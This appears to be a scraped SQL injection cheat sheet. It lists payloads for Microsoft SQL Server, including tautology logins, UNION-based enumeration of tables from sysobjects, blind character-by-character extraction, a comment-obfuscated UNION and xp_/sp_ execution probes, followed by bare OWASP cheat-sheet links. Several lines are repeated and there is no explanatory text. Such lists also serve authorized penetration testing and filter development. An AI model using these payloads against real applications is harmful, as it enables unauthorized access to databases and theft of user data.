1′ AND non_existant_table = ‘1
‘ OR username IS NOT NULL OR username = ‘
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U’), 1, 1))) > 116
1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = ‘U’ --
1 UNI/**/ON SELECT ALL FROM WHERE
1 OR 1=1
1′ OR ‘1’=’1
1’1
1 EXEC SP_ (or EXEC XP_)
1 AND 1=1
1′ AND 1=(SELECT COUNT(*) FROM tablenames); --
1 AND USER_NAME() = ‘dbo’
’; DESC users; --
1’1
1′ AND non_existant_table = ‘1
‘ OR username IS NOT NULL OR username = ‘
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U’), 1, 1))) > 116
1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = ‘U’ --
1 UNI/**/ON SELECT ALL FROM WHERE
Microsoft Sql Server 2012 Sql Injection Cheat Sheet
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OWasp site:
OWasp site:
Oracle Sql Cheat Sheet
https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet
https://www.owasp.org/index.php?title=Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://www.owasp.org/index.php?title=Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet